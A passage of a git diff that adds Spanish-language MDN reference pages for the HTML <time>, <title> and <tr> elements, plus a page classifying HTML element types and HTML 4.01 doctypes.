+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Categorías de contenido</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Contenido de flujo</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">contenido de fraseo</a>, contenido palpable.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content">Contenido de fraseo</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiquetas</th>
+   <td>Ninguna;  tanto la etiqueta de inicio como de fin son obligatorias.</td>
+  </tr>
+  <tr>
+   <th scope="row">Padres permitidos</th>
+   <td>Cualquier elemento que acepte <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">contenido de fraseo</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Roles permitidos en ARIA</th>
+   <td>Cualquiera</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLTimeElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Como todos los elementos de HTML, este elemento soporta los <a href="https://developer.mozilla.org/es/docs/Web/HTML/Atributos_Globales">atributos globales</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("datetime")}}</dt>
+ <dd>Este atributo indica la hora y/o fecha del elemento y debe estar escrito en uno de los formatos que se muestran posteriomente.</dd>
+</dl>
+
+<h2 id="Notas_de_uso">Notas de uso</h2>
+
+<p>Este elemento es para presentar fechas y horas en un formato legible por el equipo. Por ejemplo, este puede ayudar a un agente de usuario ofrecer añadir un evento al calendario del usuario.</p>
+
+<p>Este elemento no debe ser usado para fechas anteriores a la introducción del calendario Gregoriano (debido a complicaciones en el cálculo de dichas fechas).</p>
+
+<p>El valor de fecha y hora (el valor legible por el equipo) es el valor del atributo del elemento <code>datetime</code>, que debe estar en el formato correcto (vea más adelante). Si el elemento no tiene un atributo <code>datetime</code>, <strong>no debe tener ningún elemento descendiente</strong>, y el valor datetime es el contenido de texto del hijo del elemento.</p>
+
+<h3 id="Valores_datetime_válidos">Valores datetime válidos</h3>
+
+<dl>
+ <dt>una cadena válida de año</dt>
+ <dd><code>2011</code></dd>
+ <dd><code>0001</code></dd>
+ <dt>una cadena válida de mes</dt>
+ <dd><code>2011-11</code></dd>
+ <dt>una cadena válida de fecha</dt>
+ <dd><code>2011-11-18</code></dd>
+ <dt>una cadena de fecha sin año válida</dt>
+ <dd><code>11-18</code></dd>
+ <dt>una cadena de semana válida</dt>
+ <dd><code>2011-W47</code></dd>
+ <dt>una cadena de hora válida</dt>
+ <dd><code>14:54</code></dd>
+ <dd><code>14:54:39</code></dd>
+ <dd><code>14:54:39.929</code></dd>
+ <dt>una cadena de fecha y hora local válida</dt>
+ <dd><code>2011-11-18T14:54:39.929</code></dd>
+ <dd><code>2011-11-18 14:54:39.929</code></dd>
+ <dt>una cadena de fecha y hora global válida</dt>
+ <dd><code>2011-11-18T14:54:39.929Z</code></dd>
+ <dd><code>2011-11-18T14:54:39.929-0400</code></dd>
+ <dd><code>2011-11-18T14:54:39.929-04:00</code></dd>
+ <dd><code>2011-11-18 14:54:39.929Z</code></dd>
+ <dd><code>2011-11-18 14:54:39.929-0400</code></dd>
+ <dd><code>2011-11-18 14:54:39.929-04:00</code></dd>
+ <dt>una cadena valida de duración</dt>
+ <dd><code>PT4H18M3S</code></dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_Simple">Ejemplo Simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;El concierto empieza a las &lt;time&gt;20:00&lt;/time&gt;.&lt;/p&gt;
+</pre>
+
+<h4 id="Output">Output</h4>
+
+<p>{{ EmbedLiveSample('Simple_example', 250, 60) }}</p>
+
+<h3 id="Datetime_example" name="Datetime_example">Ejemplo con <code>datetime</code></h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;El concierto fué el &lt;time
+  datetime="2001-05-15T19:00"&gt;15 de Mayo&lt;/time&gt;.&lt;/p&gt;
+</pre>
+
+<h4 id="Output_2">Output</h4>
+
+<p>{{ EmbedLiveSample('Datetime_example', 250, 60) }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-time-element', '&lt;time&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambios desde {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'grouping-content.html#the-time-element', '&lt;time&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Sin cambios desde {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-time-element', '&lt;time&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página es generada con información estructurada. Si desea contribuir, por favor revise <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíe su pull request.</div>
+
+<p>{{Compat("html.elements.time")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>El elemento {{HTMLElement("data")}}, permite señalizar otro tipo de valores.</li>
+</ul>
diff --git a/files/es/web/html/elemento/tipos_de_elementos/index.html b/files/es/web/html/elemento/tipos_de_elementos/index.html
new file mode 100644
index 0000000000..e93752b734
--- /dev/null
+++ b/files/es/web/html/elemento/tipos_de_elementos/index.html
@@ -0,0 +1,119 @@
+---
+title: Tipos de elementos
+slug: Web/HTML/Elemento/Tipos_de_elementos
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+---
+<p>Los elementos se pueden agrupan de varias manera, aquí ofrecenos las siguientes: formal, estructural y funcional.</p>
+
+<h2 id="Seg.C3.BAn_el_doctype" name="Seg.C3.BAn_el_doctype">Según el doctype</h2>
+
+<p>Todo documento HTML debe tener un doctype, en el doctype se indica la dtd que se aplica al documento. La dtd es un archivo que, entre otras cosas, indica qué elementos pueden usarse en el documento, o cuales son sus atributos.</p>
+
+<p>Los doctypes válidos en HTML 4.01 son tres:</p>
+
+<h3 id="Para_marcos" name="Para_marcos">Para marcos</h3>
+
+<pre class="eval">&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
+       "<a class="external" href="http://www.w3.org/TR/html4/frameset.dtd" rel="freelink">http://www.w3.org/TR/html4/frameset.dtd</a>"&gt;
+</pre>
+
+<p>Con este doctype pueden usarse todos los elementos del html.</p>
+
+<h3 id="De_transici.C3.B3n" name="De_transici.C3.B3n">De transición</h3>
+
+<pre class="eval">&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+       "<a class="external" href="http://www.w3.org/TR/html4/loose.dtd" rel="freelink">http://www.w3.org/TR/html4/loose.dtd</a>"&gt;
+</pre>
+
+<p>Pueden usarse todos los elementos <strong>menos</strong> los especificos de marcos que son: <a href="/es/docs/HTML/Elemento/frame">frame</a> <a href="/es/docs/HTML/Elemento/frameset">frameset</a></p>
+
+<h3 id="Estrictos" name="Estrictos">Estrictos</h3>
+
+<pre class="eval">&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+       "<a class="external" href="http://www.w3.org/TR/html4/strict.dtd" rel="freelink">http://www.w3.org/TR/html4/strict.dtd</a>"&gt;
+</pre>
+
+<p>Con este doctype pueden usarse todos los elementos <strong>menos</strong> los específicos de los marcos: <a href="/es/docs/HTML/Elemento/frame">frame</a> <a href="/es/docs/HTML/Elemento/frameset">frameset</a> y los desaprobados: <a href="/es/docs/HTML/Elemento/applet">applet</a> <a href="/es/docs/HTML/Elemento/basefont">basefont</a> <a href="/es/docs/HTML/Elemento/center">center</a> <a href="/es/docs/HTML/Elemento/dir">dir</a> <a href="/es/docs/HTML/Elemento/font">font</a> <a href="/es/docs/HTML/Elemento/isindex">isindex</a> <a href="/es/docs/HTML/Elemento/menu">menu</a> <a href="/es/docs/HTML/Elemento/s">s</a> <a href="/es/docs/HTML/Elemento/strike">strike</a> <a href="/es/docs/HTML/Elemento/u">u</a></p>
+
+<h2 id="Seg.C3.BAn_su_estructura" name="Seg.C3.BAn_su_estructura">Según su estructura</h2>
+
+<p>Se dividen en tres grupos: básicos, de cabecera y de cuerpo.</p>
+
+<h3 id="Los_elementos_b.C3.A1sicos" name="Los_elementos_b.C3.A1sicos">Los elementos básicos</h3>
+
+<p>Son los elemento que conforman la columna vertebral de un documento html:</p>
+
+<dl>
+ <dt>Para un documento normal</dt>
+ <dd><a href="/es/docs/HTML/Elemento/html">html</a> <a href="/es/docs/HTML/Elemento/head">head</a> <a href="/es/docs/HTML/Elemento/body">body</a></dd>
+</dl>
+
+<dl>
+ <dt>para uno de marcos</dt>
+ <dd><a href="/es/docs/HTML/Elemento/html">html</a> <a href="/es/docs/HTML/Elemento/head">head</a> <a href="/es/docs/HTML/Elemento/frameset">frameset</a> <a href="/es/docs/HTML/Elemento/frame">frame</a></dd>
+</dl>
+
+<h3 id="De_cabecera" name="De_cabecera">De cabecera</h3>
+
+<p>Los de cabecera contienen la información necesaria para el correcto funcionamiento del documento.</p>
+
+<dl>
+ <dt>Elementos de cabecera son</dt>
+ <dd> </dd>
+ <dd>El obligatorio: <a href="/es/docs/HTML/Elemento/title">title</a></dd>
+ <dd>Los opcionales: <a href="/es/docs/HTML/Elemento/base">base</a> <a href="/es/docs/HTML/Elemento/meta">meta</a> <a href="/es/docs/HTML/Elemento/link">link</a></dd>
+ <dd>Los mixtos: <a href="/es/docs/HTML/Elemento/style">style</a> <a href="/es/docs/HTML/Elemento/script">script</a> <a href="/es/docs/HTML/Elemento/object">object</a> y el transicional: <a href="/es/docs/HTML/Elemento/isindex">isindex</a>. Estos elementos pueden actuar como elementos de cabecera y de cuerpo.</dd>
+</dl>
+
+<h3 id="De_cuerpo" name="De_cuerpo">De cuerpo</h3>
+
+<p>Son los que estructuran el contenido del documento, pueden clasificarse en dos o tres grupos, los que forman parte del flujo del documento, estos son los elementos en bloque y los elementos en línea; y los que no forman parte directa del flujo.</p>
+
+<h4 id="En_bloque" name="En_bloque">En bloque</h4>
+
+<dl>
+ <dt>Elementos en bloque son</dt>
+ <dd> </dd>
+ <dd><a href="/es/docs/HTML/Elemento/p">p</a> <a href="/es/docs/HTML/Elemento/dl">dl</a> <a href="/es/docs/HTML/Elemento/div">div</a> <a href="/es/docs/HTML/Elemento/address">address</a> <a href="/es/docs/HTML/Elemento/hr">hr</a> <a href="/es/docs/HTML/Elemento/blockquote">blockquote</a> <a href="/es/docs/HTML/Elemento/form">form</a> <a href="/es/docs/HTML/Elemento/table">table</a> <a href="/es/docs/HTML/Elemento/fieldset">fieldset</a> <a href="/es/docs/HTML/Elemento/pre">pre</a> <a href="/es/docs/HTML/Elemento/noscript">noscript</a> <a href="/es/docs/HTML/Elemento/noframes">noframes</a> Y los transicionales: <a href="/es/docs/HTML/Elemento/center">center</a> <a href="/es/docs/HTML/Elemento/isindex">isindex</a></dd>
+ <dd>Los elementos de encabezados: <a href="/es/docs/HTML/Elemento/h1">h1</a> <a href="/es/docs/HTML/Elemento/h2">h2</a> <a href="/es/docs/HTML/Elemento/h3">h3</a> <a href="/es/docs/HTML/Elemento/h4">h4</a> <a href="/es/docs/HTML/Elemento/h5">h5</a> <a href="/es/docs/HTML/Elemento/h6">h6</a></dd>
+ <dd>los elementos para listas: <a href="/es/docs/HTML/Elemento/ul">ul</a> y <a href="/es/docs/HTML/Elemento/ol">ol</a>. Y los transicionales: <a href="/es/docs/HTML/Elemento/dir">dir</a> <a href="/es/docs/HTML/Elemento/menu">menu</a></dd>
+</dl>
+
+<h4 id="En_l.C3.ADnea" name="En_l.C3.ADnea">En línea</h4>
+
+<dl>
+ <dt>Elementos en línea son</dt>
+ <dd> </dd>
+ <dd>Los elementos de frase: <a href="/es/docs/HTML/Elemento/abbr">abbr</a> <a href="/es/docs/HTML/Elemento/acronym">acronym</a> <a href="/es/docs/HTML/Elemento/cite">cite</a> <a href="/es/docs/HTML/Elemento/code">code</a> <a href="/es/docs/HTML/Elemento/em">em</a> <a href="/es/docs/HTML/Elemento/strong">strong</a> <a href="/es/docs/HTML/Elemento/dfn">dfn</a> <a href="/es/docs/HTML/Elemento/kbd">kbd</a> <a href="/es/docs/HTML/Elemento/samp">samp</a> <a href="/es/docs/HTML/Elemento/var">var</a></dd>
+ <dd>Los elementos de estilo de fuente: <a href="/es/docs/HTML/Elemento/b">b</a> <a href="/es/docs/HTML/Elemento/big">big</a> <a href="/es/docs/HTML/Elemento/i">i</a> <a href="/es/docs/HTML/Elemento/small">small</a> <a href="/es/docs/HTML/Elemento/tt">tt</a> y los desaprobados: <a href="/es/docs/HTML/Elemento/u">u</a> <a href="/es/docs/HTML/Elemento/s">s</a> <a href="/es/docs/HTML/Elemento/strike">strike</a></dd>
+ <dd>Los elementos especiales: <a href="/es/docs/HTML/Elemento/a">a</a> <a href="/es/docs/HTML/Elemento/bdo">bdo</a> <a href="/es/docs/HTML/Elemento/br">br</a> <a href="/es/docs/HTML/Elemento/img">img</a> <a href="/es/docs/HTML/Elemento/map">map</a> <a href="/es/docs/HTML/Elemento/object">object</a> <a href="/es/docs/HTML/Elemento/q">q</a> <a href="/es/docs/HTML/Elemento/script">script</a> <a href="/es/docs/HTML/Elemento/span">span</a> <a href="/es/docs/HTML/Elemento/sub">sub</a> <a href="/es/docs/HTML/Elemento/sup">sup</a> y los desaprobados: <a href="/es/docs/HTML/Elemento/applet">applet</a> <a href="/es/docs/HTML/Elemento/font">font</a> <a href="/es/docs/HTML/Elemento/basefont">basefont</a> <a href="/es/docs/HTML/Elemento/iframe">iframe</a></dd>
+ <dd>Los elementos de controles de formulario: <a href="/es/docs/HTML/Elemento/button">button</a> <a href="/es/docs/HTML/Elemento/input">input</a> <a href="/es/docs/HTML/Elemento/label">label</a> <a href="/es/docs/HTML/Elemento/select">select</a> <a href="/es/docs/HTML/Elemento/textarea">textarea</a></dd>
+</dl>
+
+<h4 id="Ni_en_bloque_ni_en_l.C3.ADnea" name="Ni_en_bloque_ni_en_l.C3.ADnea">Ni en bloque ni en línea</h4>
+
+<p>Son los elementos que no forman parte del flujo por que son elementos subordinados a otros elementos.</p>
+
+<dl>
+ <dt>Elementos subordinados son</dt>
+ <dd> </dd>
+ <dd>Subordinados a table: <a href="/es/docs/HTML/Elemento/caption">caption</a> <a href="/es/docs/HTML/Elemento/tr">tr</a> <a href="/es/docs/HTML/Elemento/th">th</a> <a href="/es/docs/HTML/Elemento/td">td</a> <a href="/es/docs/HTML/Elemento/thead">thead</a> <a href="/es/docs/HTML/Elemento/tbody">tbody</a> <a href="/es/docs/HTML/Elemento/tfoot">tfoot</a> <a href="/es/docs/HTML/Elemento/col">col</a> <a href="/es/docs/HTML/Elemento/colgroup">colgroup</a></dd>
+ <dd>Subordinados de listas: <a href="/es/docs/HTML/Elemento/li">li</a> <a href="/es/docs/HTML/Elemento/dd">dd</a> <a href="/es/docs/HTML/Elemento/dl">dl</a> Subordinados a select son: <a href="/es/docs/HTML/Elemento/optgroup">optgroup</a> <a href="/es/docs/HTML/Elemento/option">option</a></dd>
+ <dd>Por último, <a href="/es/docs/HTML/Elemento/area">area</a> subordinado a map. <a href="/es/docs/HTML/Elemento/param">param</a> subordinado a object. y <a href="/es/docs/HTML/Elemento/legend">legend</a> subordinado a fieldset.</dd>
+</dl>
+
+<h4 id="En_bloque_y_en_l.C3.ADnea" name="En_bloque_y_en_l.C3.ADnea">En bloque y en línea</h4>
+
+<p>Los elementos <a href="/es/docs/HTML/Elemento/ins">ins</a> y <a href="/es/docs/HTML/Elemento/del">del</a> pueden ser elementos en línea o en bloque según convenga.</p>
+
+<h2 id="Seg.C3.BAn_su_funci.C3.B3n" name="Seg.C3.BAn_su_funci.C3.B3n">Según su función</h2>
+
+
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga carencias y defectos. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>Cómo ayudar</a>.</p>
+</div>
diff --git a/files/es/web/html/elemento/title/index.html b/files/es/web/html/elemento/title/index.html
new file mode 100644
index 0000000000..978149f8a6
--- /dev/null
+++ b/files/es/web/html/elemento/title/index.html
@@ -0,0 +1,54 @@
+---
+title: title
+slug: Web/HTML/Elemento/title
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/title
+---
+<p> </p>
+
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>Indica el título del documento.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;title&gt; y &lt;/title&gt; (ambas obligatorias)</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>:</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#contenido_de_cabecera">Elemento de contenido de cabecera</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: texto y entidades de caracteres, pero no puede contener código.</dd>
+</dl>
+
+<h5 id="Atributos_Gen.C3.A9ricos" name="Atributos_Gen.C3.A9ricos">Atributos Genéricos</h5>
+
+<dl>
+ <dd><strong>Idioma</strong>: lang (información sobre el idioma), dir (dirección del texto)</dd>
+</dl>
+
+<h5 id="Atributos_Espec.C3.ADficos_-_No_tiene." name="Atributos_Espec.C3.ADficos_-_No_tiene.">Atributos Específicos - No tiene.</h5>
+
+<h5 id="Atributos_Transicionales_-_No_tiene." name="Atributos_Transicionales_-_No_tiene.">Atributos Transicionales - No tiene.</h5>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre>&lt;head&gt;
+&lt;title&gt;Ejemplo de uso del elemento title&lt;/title&gt;
+... otros elementos de cabecera...
+&lt;/head&gt;
+</pre>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
+
+<p>Todos los documentos deben tener un título, por lo tanto este elemento <strong>es obligarorio</strong> y debe estar ubicado dentro del elemento head.</p>
+
+<p>El contenido de title suele ser mostrado en la barra de título de la ventana del navegador </p>
diff --git a/files/es/web/html/elemento/tr/index.html b/files/es/web/html/elemento/tr/index.html
new file mode 100644
index 0000000000..6e57c8d5e0
--- /dev/null
+++ b/files/es/web/html/elemento/tr/index.html
@@ -0,0 +1,232 @@
+---
+title: <tr>
+slug: Web/HTML/Elemento/tr
+tags:
+  - Element
+  - Elemento
+  - HTML
+  - Reference
+  - Referencia
+  - Tabla
+  - Tablas
+  - Web
+translation_of: Web/HTML/Element/tr
+---
+<h2 id="Resumen">Resumen</h2>
+
+<p>El elemento HTML <em>fila de tabla</em> (<em>table row</em>) <code>&lt;tr&gt;</code> define una fila de celdas en una tabla. Estas pueden ser una mezcla de elementos {{HTMLElement("td")}} y {{HTMLElement("th")}}.</p>
+
+<h2 id="Contexto_de_uso">Contexto de uso</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content categories">Content categories</a></td>
+   <td>Ninguno</td>
+  </tr>
+  <tr>
+   <td>Contenido permitido</td>
+   <td>Cero o más {{HTMLElement("td")}} o elementos {{HTMLElement("th")}}, o una mezcla de ellos</td>
+  </tr>
+  <tr>
+   <td>
+    <p>Omisión de Etiqueta  </p>
+   </td>
+   <td>La etiqueta de inicio es obligatoria. La etiqueta final puede ser omitida si el elemento {{HTMLElement("tr")}} va inmediatamente seguido por un elemento {{HTMLElement("tr")}}, o si el grupo de tabla pariente ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}} o el elemento {{HTMLElement("tfoot")}}) no tiene mas contenido</td>
+  </tr>
+  <tr>
+   <td>Elementos padres permitidos</td>
+   <td>{{HTMLElement("table")}}, {{HTMLElement("thead")}}, {{HTMLElement("tbody")}} o el elemento {{HTMLElement("tfoot")}}</td>
+  </tr>
+  <tr>
+   <td>Documento de normativa</td>
+   <td><a class="external" href="http://www.whatwg.org/html/#the-tr-element">HTML, "The <code>tr</code> element"</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p><span style="line-height: 21px;">Este elemento incluye los </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">global attributes</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecatedGeneric("inline","html4.01")}}, {{obsoleteGeneric("inline","html5")}}</dt>
+ <dd>Este atributo enumerado especifica como será gestionado el alineamiento horizontal del contenido de cada celda. Hay varios valores:
+ <ul>
+  <li><font face="Consolas, Liberation Mono, Courier, monospace">left</font>, alinea el contenidoa la izquierda de las celdas</li>
+  <li><font face="Consolas, Liberation Mono, Courier, monospace">center</font>, centra el contenido en las celdas</li>
+  <li><font face="Consolas, Liberation Mono, Courier, monospace">right</font>, alinea el contenido a la derecha de las celdas</li>
+  <li><font face="Consolas, Liberation Mono, Courier, monospace">justify</font>, amplia los espacios en el contenido textual de hecho el contenido es justificado in las celdas</li>
+  <li><code>char</code>, alinea el contenido textual en un carácter especial con una mínima inclinación definida por el {{htmlattrxref("char", "tr")}} y {{htmlattrxref("charoff", "tr")}} atributos {{unimplemented_inline("2212")}}</li>
+ </ul>
+
+ <p>Si este atributo no está establecido, se hereda el valor del nodo principal.</p>
+
+ <div class="note"><strong>Nota: No utilice este atributo, ya que es obsoleta (no soportado) en el último estándar</strong>.
+
+ <ul>
+  <li>Para lograr el mismo efecto que los valores <code>left</code>, <code>center</code>, <code>right</code> o <code>justify</code>, utilice la propiedad CSS {{cssxref("text-align")}}.</li>
+  <li>Para lograr el mismo efecto que el valor char, en CSS3, puede utilizar el valor de la  {{htmlattrxref("char", "tr")}} como el valor de la {{cssxref("text-align")}} propiedad {{unimplemented_inline}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("bgcolor")}} {{deprecatedGeneric("inline","html4.01")}}, {{obsoleteGeneric("inline","html5")}}</dt>
+ <dd>Este atributo define el color de fondo de cada celda de la fila. Puede ser un código de #RRGGBB o una palabra clave de color de SVG.
+ <div class="note"><strong>Nota de uso:</strong> el elemento {{HTMLElement("tr")}} debe ser de estilo con CSS. Para dar un efecto similar al atributo bgcolor, utilice la propiedad CSS {{cssxref("background-color")}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{deprecatedGeneric("inline","html4.01")}}, {{obsoleteGeneric("inline","html5")}}</dt>
+ <dd>Este atributo es utilizado para establecer el caracter para alinear las celdas de una columna. Los valores típicos para éste incluyen un punto (.) al intentar alinear los números o valores monetarios. Si {{htmlattrxref("align", "tr")}} no se ha ajustado a char, este atributo se ignora.
+ <div class="note"><strong>Nota:</strong> No utilice este atributo, ya que es obsoleta (y no es compatible) en el último estándar<strong>.</strong> Para lograr el mismo efecto que el {{htmlattrxref("char", "tr")}}, en CSS3, puedes utilizar el juego de carácteres utilizando el atributo {{htmlattrxref("char", "tr")}} como el valor de la referencia externa {{cssxref("text-align")}} propiedad {{unimplemented_inline}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("charoff")}} {{deprecatedGeneric("inline","html4.01")}}, {{obsoleteGeneric("inline","html5")}}</dt>
+ <dd>Este atributo se utiliza para indicar el número de caracteres para compensar los datos de la columna de los carácteres de alineación especificado por el atributo char.
+ <div class="note"><strong>Nota:</strong> No utilice este atributo, ya que está obsoleto (y no es compatible) en el último estándar.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("valign")}} {{deprecatedGeneric("inline","html4.01")}}, {{obsoleteGeneric("inline","html5")}}</dt>
+ <dd>Este atributo especifica la alineación vertical del texto dentro de cada fila de las celdas de la cabecera de la tabla. Los valores posibles para este atributo son:
+ <ul>
+  <li><code>baseline</code>, que pondrá el texto tan cerca del fondo de la celda, ya que es posible, pero corresponda con el <a class="external" href="http://en.wikipedia.org/wiki/Baseline_%28typography%29" title="http://en.wikipedia.org/wiki/Baseline_(typography)">baseline</a> de los caráctere en lugar de la parte inferior de ellos. Si los carácteres son todos del tamaño, esto tiene el mismo efecto que la parte inferior.</li>
+  <li><code>bottom</code>,que pondrá el texto tan cerca de la parte inferior de la célula como sae posible;</li>
+  <li><code>middle</code>,que centrará el texto en la celda;</li>
+  <li>y <code>top</code>, que pondrá el texto como cerca de la parte superior de la célula como es posible.</li>
+ </ul>
+
+ <div class="note"><strong>Nota:</strong> No utilice este atributo, ya que está obsoleto (y no es compatible) en el último estándar: {{cssxref("vertical-align")}} en su lugar establecer la propiedad CSS en él.</div>
+ </dd>
+</dl>
+
+<h2 id="Interfaz_DOM">Interfaz DOM</h2>
+
+<p>Este elemento implementa el  interfaz{{domxref("HTMLTableRowElement")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Ver {{HTMLElement("table")}} para ejemplos de <code>&lt;tr&gt;</code>.</p>
+
+<h2 id="Compatibilidad_con_Navegador">Compatibilidad con Navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>align/valign</code> attribute</td>
+   <td>1.0</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>char/charoff</code> attribute</td>
+   <td>1.0</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code> attribute {{Non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>align/valign</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>char/charoff</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code> attribute {{Non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] See {{bug(915)}}.</p>
+
+<p>[2] See {{bug(2212)}}.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Otros elementos relacionados con tablas HTML: {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}};</li>
+ <li>Las propiedades CSS y pseudo-clases que pueden ser especialmente útiles para el estilo del elemento &lt;tr&gt;:
+  <ul>
+   <li>El {{cssxref(":nth-child")}} pseudo-clase para establecer la alineación en las células de la columna;</li>
+   <li>El {{cssxref("text-align")}} propiedad para alinear todas las células contenidos en el mismo carácter, como '.'. &lt;</li>
+  </ul>
+ </li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/es/web/html/elemento/track/index.html b/files/es/web/html/elemento/track/index.html
new file mode 100644
